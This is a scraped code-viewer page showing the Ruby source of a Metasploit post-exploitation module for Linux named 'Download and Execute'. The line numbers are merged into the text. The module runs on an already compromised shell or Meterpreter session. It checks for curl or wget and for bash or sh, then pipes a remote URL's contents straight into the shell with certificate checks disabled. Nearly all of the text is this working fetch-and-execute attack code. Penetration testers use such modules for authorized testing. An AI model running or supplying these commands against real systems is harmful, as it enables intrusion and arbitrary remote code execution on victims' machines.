Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/manage/download_exec.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Linux::System89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Linux Manage Download and Execute',14'Description' => %q{15This module downloads and runs a file with bash. It first tries to uses curl as16its HTTP client and then wget if it's not found. Bash found in the PATH is used17to execute the file.18},19'License' => MSF_LICENSE,20'Author' => [21'Joshua D. Abraham <jabra[at]praetorian.com>',22],23'Platform' => ['linux'],24'SessionTypes' => ['shell', 'meterpreter']25)26)2728register_options(29[30OptString.new('URL', [true, 'Full URL of file to download.'])31]32)33end3435def cmd_exec_vprint(cmd)36vprint_status("Executing: #{cmd}")37output = cmd_exec(cmd)38if !output.empty?39vprint_status(output.to_s)40end41return42end4344def exists_exe?(exe)45vprint_status "Searching for #{exe} in the current $PATH..."46path = get_env('PATH')47if path.nil? || path.empty?48return false49vprint_error 'No local $PATH set!'50else51vprint_status "$PATH is #{path.strip!}"52end5354path.split(':').each do |p|55full_path = p + '/' + exe56vprint_status "Searching for '#{full_path}' ..."57return true if file_exist?(full_path)58end5960return false61end6263def search_http_client64print_status('Checking if curl exists in the path...')65if exists_exe?('curl')66print_good('curl available, using it')67@stdout_option = ''68@http_client = 'curl'69@ssl_option = '-k'70return71end7273print_status('Checking if wget exists in the path...')74if exists_exe?('wget')75print_good('wget available, using it')76@http_client = 'wget'77@stdout_option = '-O-'78@ssl_option = '--no-check-certificate'79return80end81end8283def search_shell84print_status('Checking if bash exists in the path...')85if exists_exe?('bash')86print_good('bash available, using it')87@shell = 'bash'88return89end9091print_status('Checking if sh exists in the path...')92if exists_exe?('sh')93print_good('sh available, using it')94@shell = 'sh'95return96end97end9899def run100search_http_client101102if !@http_client103print_warning('neither curl nor wget available in the $PATH, aborting...')104return105end106107search_shell108109if !@shell110print_warning('neither bash nor sh available in the $PATH, aborting...')111return112end113114if datastore['URL'].match(%r{^https://})115cmd_exec_vprint("#{@http_client} #{@stdout_option} #{@ssl_option} #{datastore['URL']} 2>/dev/null | #{@shell}")116else117cmd_exec_vprint("#{@http_client} #{@stdout_option} #{datastore['URL']} 2>/dev/null | #{@shell}")118end119end120end121122123